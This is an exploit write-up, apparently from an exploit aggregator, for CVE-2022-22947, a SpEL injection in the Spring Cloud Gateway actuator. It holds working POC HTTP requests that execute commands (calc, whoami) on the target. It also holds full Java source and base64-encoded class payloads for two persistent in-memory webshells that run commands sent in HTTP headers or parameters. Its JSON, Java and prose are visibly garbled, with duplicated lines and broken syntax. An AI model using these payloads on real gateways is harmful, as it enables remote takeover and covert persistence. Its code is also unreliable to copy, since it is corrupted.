## https://sploitus.com/exploit?id=ED9D4BD6-7385-5547-B924-5FFC865CFA69
## Vulnerability Profile
Spring Cloud Gateway is a brand new project of Spring Cloud, which is based on Spring 5.0, Spring Boot 2.0 and Project Reactor and other technologies to develop the gateway, it aims to provide a simple and effective way to provide a unified way to manage API routing for microservice architecture.
Some time ago springCloud Gateway was exploded fatal RCE [CVE](https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published) ,cve information shows that when the application enable and expose the The cve information shows that when an application enables and exposes the Gateway Actuator endpoint of Spring Cloud Gateway, it is subject to a remote code injection attack, where an attacker sends a malicious request to remotely execute arbitrary code. The currently affected versions are as follows:
* 3.1.0
* 3.0.0 through 3.0.6.
* Older, unsupported versions are also affected.
In this analysis, we review the CVE to learn how the vulnerability works and how it can be further exploited.
## Setting up the environment
Create a maven project with the following dependencies.
``xml
org.springframework.cloud
spring-cloud-gateway-server
3.0.6
org.springframework.cloud
spring-cloud-starter-gateway
3.0.6
org.springframework.boot
spring-boot-starter-actuator
2.5.9
```
spring boot default configuration, only health this endpoint is open to the web, if you need to open the gateway, you need to manually configure, refer to the [official documentation](https://docs.spring.io/spring-boot/docs/current/ reference/html/actuator.html#actuator.endpoints) ,[[2]](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/# actuator-api):
```text
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health
```
Send the following POC:
```text
POST /actuator/gateway/routes/test2 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 306
Content-Type: application/json
Content-Length: 306 Content-Type: application/json
"id": "test2", "predicates": [{}
"predicates": [{
"name": "Path", "args": {"_genkey_0".
"args": {"_genkey_0":"/test2"}
}], {
"filters":[{
"name": "AddResponseHeader",
"args": {
"name": "Result", "value": {
"value": "#{T(java.lang.Runtime).getRuntime().exec(\"calc\")}"
}
}].
"uri": "http://127.0.0.1:9999"
}]
```
! [](. /images/5.png)
Then send ```POST /actuator/gateway/refresh``` to refresh the route cache information to trigger the POC:
! [](. /images/6.png)
## Principle analysis
Observe the above POC, first dynamically add a route through ```POST /actuator/gateway/routes/test2``, add a route process there is a filter for the input parameters can be parsed as a spel expression, and then refresh the route cache triggers the execution of the POC.
First look at the spring cloud gateway dynamic routing configuration mechanism.
### Dynamic route configuration
spring cloud gateway supports registering routes by code/configuration file, take [demo](https://spring.io/guides/gs/gateway/) on the official website as an example:
```java
java
public RouteLocator myRoutes(RouteLocatorBuilder builder) {
return builder.routes()
.routes(p -> p
.path("/get")
.filters(f -> f.addRequestHeader("Hello", "World"))
.uri("http://httpbin.org:80"))
.build();
}
```
The configuration file is done in a similar way to the code:
```yaml
application.yml
spring.
cloud.
gateway.
routes.
- id: test1
uri: target uri
uri: target uri: predicates.
- Path=/test1,
filters: StripPrefix=1, StripPrefix=1
- StripPrefix=1
```
The routes added in both ways are fixed, and if you need to add, modify, or delete routing configurations and rules, you have to restart the application for them to take effect. However, in reality, spring cloud gateway is the entry point for all traffic and needs to ensure the high availability of the system, so spring cloud gateway exposes /gateway as the endpoint and then can add, delete, and change the dynamic routing information through /gateway/routes, but the routing information in this way only exists in memory. However, in this way, the routing information only exists in memory, and once the service is restarted, the new routing configuration information will be lost.
From the above route registration format, we can see that a route includes a target uri, a set of filters, and a set of predicates, where the predicates can be matched with any content (request headers, parameters) from the http request, and there are a number of built-in route predicate factory classes in spring cloud gateway, such as Begin, Begin, Begin, Begin. There are many factory classes, such as Before, After, Between, Cookie, Header, Host, [Path, etc.](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#) gateway-request-predicates-factories).
! [](. /images/routepredicatefactory.png)
The filter is used to modify the request or response before or after the request is sent, and also contains many built-in filter collections, the filter we use in the above payload that triggers the RCE is AddResponseHeader, and the other filters are RewritePath, SetPath, etc. There are two types of filters, one is GlobalFilter which is valid for all routes, and the other is GatewayFilter which is valid only for a single route. There are two kinds of filters, one is GlobalFilter which is valid for all routes, and the other is GatewayFilter which is valid only for a single route, please refer to https://www.cnblogs.com/duanxz/p/14780675.html for details.
! [](. /images/GatewayFilterFactory.png), ! [](. /images/GlobalFilter.png)
## Request flow
So, what is the flow of a request through the gateway to the proxied service? The flow in the official documentation is as follows:
! [](. /images/spring_cloud_gateway_diagram.png)
The client sends a request to Spring Cloud GateWay, then finds a route in the GateWay Handler Mapping that matches the request and sends it to the GateWay Web Handler; the Handler then passes the request through the specified chain of filters to send the request to our actual service to execute the business logic and return. The filters are separated by a dotted line because the filters may execute the business logic before (pre) or after (post) sending the proxy request.
RoutePredicateHandlerMapping Finds the route and then processes it by the webHandler:
! [img.png](images/img.png)
Find gatewayFilters and globalFilters in the webHandler and sort them by the Order value defined in the filter to form a filterchain and execute all the filters.
! [img.png](images/img1.png)
### Dynamic route registration
Next, look specifically at why the spel execution is triggered when adding a route via the gateway endpoint method.
``POST /actuator/gateway/routes/{id}`` Adding a route first checks the filters and preferences in the route definition by checking if the filterName and preferencesName are in the defined filter collection and the preferences collection. The way to do this is to check if the filterName and the predicatesName are in the defined filter and predicates collections, and then save the route information into the in-memory routing information map after passing the verification:
! [](. /images/post_route.png)
! [](. /images/isAvaliable.png)
! [](. /images/save.png)
Then when the route cache is flushed, after the following call stack, in the RouteDefinitionRouteLocator.convertToRoute() method parses the route definition's preferences and filters, respectively.
```text
at org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator.convertToRoute(RouteDefinitionRouteLocator.java:116)
at org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$883.729787591.apply(Unknown Source:-1)
... // Spring WebFlux publisher and subscriber mechanisms
at org.springframework.cloud.gateway.route.CachingRouteLocator.onApplicationEvent(CachingRouteLocator.java:81)
at org.springframework.cloud.gateway.route.CachingRouteLocator.onApplicationEvent(CachingRouteLocator.java:40)
at org.springframework.context.event.SimpleApplicationEventMulticaster.doInvokeListener(SimpleApplicationEventMulticaster.java:176)
at org.springframework.context.event.SimpleApplicationEventMulticaster.invokeListener(SimpleApplicationEventMulticaster.java:169)
at org.springframework.context.event.SimpleApplicationEventMulticaster.multicastEvent(SimpleApplicationEventMulticaster.java:143)
at org.springframework.context.support.AbstractApplicationContext.publishEvent(AbstractApplicationContext.java:421)
at org.springframework.context.support.AbstractApplicationContext.publishEvent(AbstractApplicationContext.java:378)
at org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint.refresh(AbstractGatewayControllerEndpoint.java:96)
```
! [](. /images/convertToRoute.png)
In the process of parsing the filter, we get the corresponding GatewayFilterFactory based on the filterName in the definition, and then we enter the ConfigurationService to bind each property to the key value before we do the normalizedProperties processing, and then we do the spel parsing of the value before we bind it. spel parsing before binding.
[](. [](. /images/normalize.png)
! [](. /images/getValue.png)
In the above process, when saving the route information, we will check whether the filters in the route definition are legal or not, and only if they are legal will we save the route information into the memory map, and when parsing the routes after refreshing, we also check whether we can get the corresponding GatewayFilterFactory according to the filterName in the definition, and we will only do attribute-key-value binding if we can get it. The key-value binding process is performed, so the filters that can be used for vulnerability triggering include all the legal filters that have been defined:
[](images/2022-04-06) [](images/2022-04-06-20-40-48.png)
```text
0 = "SetPath"
1 = "RequestHeaderToRequestUri"
2 = "RequestHeaderSize"
3 = "RemoveRequestHeader"
4 = "RemoveRequestParameter"
5 = "ModifyRequestBody"
6 = "AddRequestParameter"
7 = "RewriteLocationResponseHeader"
8 = "MapRequestHeader"
9 = "DedupeResponseHeader"
10 = "PreserveHostHeader"
11 = "RewritePath"
12 = "SetStatus"
13 = "SetRequestHeader"
14 = "PrefixPath"
15 = "SetRequestHostHeader"
16 = "SaveSession"
17 = "StripPrefix"
18 = "ModifyResponseBody"
19 = "RequestSize"
20 = "RedirectTo"
21 = "SetResponseHeader"
22 = "SecureHeaders"
23 = "AddResponseHeader"
24 = "Retry"
25 = "AddRequestHeader"
26 = "RemoveResponseHeader"
27 = "RewriteResponseHeader"
``
Above is the overall process of triggering the vulnerability using filters, we see that the processing of the predicates in the route definition is similar to filters, so can the predicates trigger the vulnerability as well? Is it also possible to use all defined sets of predicates?
Try replacing the predicates in the payload with the payload:
! [](images/2022-04-06-20-51-16.png)
It also triggers successfully, and the set of available predicates includes all the ones already defined below:
! [](images/2022-04-06-20-56-57.png)
```text
0 = "After"
1 = "Before"
2 = "Between"
3 = "Cookie"
4 = "Header"
5 = "Host"
6 = "Method"
7 = "Path"
8 = "Query"
9 = "ReadBody"
10 = "RemoteAddr"
11 = "Weight"
12 = "CloudFoundryRouteService"
``
In summary, this vulnerability can be triggered when passing in the value of a spel expression containing a payload, as long as the name value of the filters or predicates used in adding the route is legal.
## Exploit
### Showback
The above value after spel parsing results bound to the attribute value, must be String type, the above mentioned GatewayFilter has some response-related such as SetResponseHeader/AddResponseHeader, etc., so you can use these response-related so you can use these response-related filters to complete the utilization of the post-reply.
```text
POST /actuator/gateway/routes/test4 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 422
Content-Type: application/json
Content-Length: 422 Content-Type: application/json
"id": "test3", "predicates": [{}
"predicates": [{
"name": "Path", "args": {"_genkey_0".
"args": {"_genkey_0":"/test4"}
}], [{
"filters":[{
"name": "AddResponseHeader",
"args": {
"name": "Result", "value": {
"value": "#{T(java.util.Base64).getEncoder().encodeToString(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}). getInputStream().readAllBytes())}"
}
}],.
"uri": "http://127.0.0.1:9999/test4",
"order": 0
}]
``
! [](. /images/callback.png)
### Memory horse
#### netty layer memory horse
The following references [this article](https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/)
The idea behind the construction of a memory horse for regular middleware: first analyze the object involved in handling the request, and go through its source code to see if you can get the request content and if you can control the response content. Then analyze how the object is registered in memory, and finally we just need to simulate the process.
The spring cloud gateway web service is built with netty+spring. The netty web service does not follow the servlet specification. Unlike conventional middleware, filter/servlet/listener components have a unified maintenance object. netty each request over, are dynamically constructed pipeline, pipeline handler are new at this time. Responsible for adding handlers to the pipeline is ChannelPipelineConfigurer (hereinafter referred to as configurer), so the key to injecting netty memory horse is to analyze how the configurer is netty management and work. The final netty layer memory horse is as follows:
```java
import io.netty.buffer.Unpooled;
import io.netty.channel.*;.
import io.netty.handler.codec.http.*;.
import io.netty.util.CharsetUtil;; import reactor.netty.
import reactor.netty.ChannelPipelineConfigurer; import reactor.netty.
import reactor.netty.ConnectionObserver; import reactor.netty.ChannelPipelineConfigurer; import reactor.netty.
import reactor.netty.ConnectionObserver; import reactor.netty.
import reactor.netty.ConnectionObserver; import java.lang.reflect.
import java.lang.reflect.
import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.
import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.
public class NettyMemShell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
private ConnectionObserver connectionObserver; private Channel channel; private Channel channel; private ConnectionObserver; private ConnectionObserver connectionObserver
private ConnectionObserver connectionObserver; private Channel channel; private SocketAddress socket.
private SocketAddress socketAddress; private Channel channel; private SocketAddress
public static String doInject(){
String msg = "inject-start";
try {
Method getThreads = Thread.class.getDeclaredMethod("getThreads"); getThreads.setAccessible(true); String msg.getThreads.setAccessible(true)
getThreads.setAccessible(true);
Object threads = getThreads.invoke(null);
for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i); if (thread !
if (thread ! = null && thread.getClass().getName().contains("NettyWebServer")) {
Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
_val$disposableServer.setAccessible(true);
Object val$disposableServer = _val$disposableServer.get(thread);
Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
_config.setAccessible(true);
Object config = _config.get(val$disposableServer);
Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
_doOnChannelInit.setAccessible(true);
_doOnChannelInit.set(config, new NettyMemShell());
msg = "inject-success";
}
}
}catch (Exception e){
msg = "inject-error";
}
return msg; }
}
@Override
// Step1. Register the Handler with the pipeline as a ChannelPipelineConfigurer.
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
this.channel = channel; this.socketAddress = SocketAddress
this.socketAddress = socketAddress; this.connectionObserver = connectionObserver; this.channel = channel; this.
ChannelPipeline pipeline = channel.pipeline(); // set the memory horse's handler to the channel.pipeline(); // set the memory horse to the pipeline.
// Add the memory horse handler before the spring tier handler
pipeline.addBefore("reactor.left.httpTrafficHandler", "memshell_handler",new NettyMemShell());
}
@Override
// Step2. Process the request as a Handler, where the functional logic of the memshell is implemented
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if(msg instanceof HttpRequest){
HttpRequest httpRequest = (HttpRequest)msg;
try {
if(httpRequest.headers().contains("X-CMD")) {
String cmd = httpRequest.headers().get("X-CMD"); String execResult = new
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
// Return the execution result
send(ctx, execResult, HttpResponseStatus.OK); return; // Return the result of the execution.
return; }
}
}catch (Exception e){
e.printStackTrace(); }catch (Exception e){ e.printStackTrace(); }
}
}
ctx.fireChannelRead(msg);
}
private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8)); response.headers(); } private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus); }
response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
}
``
The POC is as follows:
```text
POST /actuator/gateway/routes/test5 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 8243
Content-Type: application/json
{
"id": "test5", "predicates": [{}
"predicates": [{
"name": "Path", "args": {"_genkey_0".
"args": {"_genkey_0":"/test5"}
}], [{
"filters":[{
"name": "AddResponseHeader",
"args": {
"name": "Result", "value": {
"value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass(\"NettyMemShell\",T(org.springframework.util.Base64Utils). decodeFromString(\"yv66vgAAADcBFAoAQQB8CA... \"),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}"
}
}], "uri": "".
"uri": "http://127.0.0.1:9999/test5",
"order": 0
}]
``
#### Spring Layer Memory Horse
Spring cloud gateway's main route distribution is mainly done by the org.springframework.web.reactive.DispatcherHandler class and its three components
* org.springframework.web.reactive.HandlerMapping RouteMatcher
* org.springframework.web.reactive.HandlerAdapter handler adapter
* org.springframework.web.reactive.HandlerResultHandler result handler
! [](. /images/dispatcherHandler.png)
Based on this flow, we can sort out an idea for constructing a memory horse. Let HandlerMapping register a mapping relationship, through the mapping relationship to let a specific HandlerAdapter execution to our memory horse process, finally memory horse return a HandlerResultHandler can handle the type of results can be. The final in-memory horse formed using the RequestMappingHandlerMapping class is as follows:
` ` ` ` ` ` ` ` ` ` ` ` ` ` java
public class SpringRequestMappingMemshell {
public static String doInject(Object requestMappingHandlerMapping) {
String msg = "inject-start";
try {
Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method. class, RequestMappingInfo.class);
registerHandlerMethod.setAccessible(true);
Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
PathPattern pathPattern = new PathPatternParser().parse("/*");
PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
msg = "inject-success";
}catch (Exception e){
msg = "inject-error";
}
return msg; }
}
public ResponseEntity executeCommand(String cmd) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); return new ResponseEntity(execResult, HttpStatus.OK); return new ResponseEntity(execResult, HttpStatus.
return new ResponseEntity(execResult, HttpStatus.OK);
}
}
```
POC:
```text
POST /actuator/gateway/routes/test6 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 5148
Content-Type: application/json
Content-Length: 5148 Content-Type: application/json
"id": "test6", "predicates": [{}
"predicates": [{
"name": "Path", "args": {"_genkey_0".
"args": {"_genkey_0":"/test6"}
}], [{
"filters":[{
"name": "AddResponseHeader",
"args": {
"name": "Result", "value": {
"value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass(\"NettyMemShell\",T(org.springframework.util.Base64Utils). decodeFromString(\" yv66vgAAADcAigoABgBHCABICgAGAEkIADAHAEoHAEsHAEwHAE0KAAUATgoABwBPBwBQCAAyBwBRBwBSCgAOAEcIAFMKAA4AVAcAVQcAVgoAEgBXCABYCgAIAFkKAAsARwoABwBaCABbBwBcCABdBwBeCgBfAGAKAF8AYQoAYgBjCgAcAGQIAGUKABwAZgoAHABnBwBoCQBpAGoKACQAawEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAeTFNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGw7AQAIZG9JbmplY3QBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFXJlZ2lzdGVySGFuZGxlck1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXhlY3V0ZUNvbW1hbmQBAAtwYXRoUGF0dGVybgEAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm47AQAYcGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uAQBMTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAA21zZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFi + AAEAPwAAABMAAv8AjAACBwAGBwANAAEHABoDAAEAMgBAAAIAKQAAAGgABAADAAAAJrsAHFm4AB0rtgAetgAftwAgEiG2ACK2ACNNuwAkWSyyACW3ACawAAAAAgAqAAAACgACAAAAAIgAaACMAKwAAAACAAAwACAAAAAtAAAAAAAAAAAmAEEAPgABABABoADABCAD4AAgBDAAAAABAABAABAEQAAQBFAAAAAAAgBG \"),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@ requestMappingHandlerMapping)}"
}
}],
"uri": "http://127.0.0.1:9999/test6",
"order": 0
}]
```
One of the requestMappingHandlerMapping is obtained in a clever way, directly from the beanFactory of the SPEL context:
! [requestMappingHandlerMapping](images/requestMappingHandlerMapping.png)
## Vulnerability fix
* Turn off the exposure of the Actuator gateway if you can, so that at least as long as you don't have control over the configuration file, you can avoid remote code execution (routes registered through the configuration file will also go to the spel parsing above); * Upgrade the version (official fix).
* Upgrade version (official fix: https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e )
Differences between versions 2.x and 3.x
There is no difference between the two in terms of the core point of the vulnerability, which is the use of the StandardEvaluationContext class in the getValue method of the ShortcutConfigurable interface to execute a SpEL expression.
The first difference is that version 2.x requires an additional request to trigger the execution of a SpEL expression after refreshing the route. The 3.x version executes it immediately after refreshing the route.
The second difference is in the chain of calls to this method. As we can see from the source code, only the normalizeProperties method of ConfigurableBuilder, which is an inner class of ConfigurationService class (overriding the method of the parent class), calls the normalize method. The ConfigurableBuilder class inherits from the internal abstract class AbstractBuilder, and there is a public method bind in the AbstractBuilder class that calls the normalizeProperties method.
https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
https://www.cnblogs.com/duanxz/p/14780675.html
https://mp.weixin.qq.com/s/w3et7TzqZ4ctyybEWQ82HQ
https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/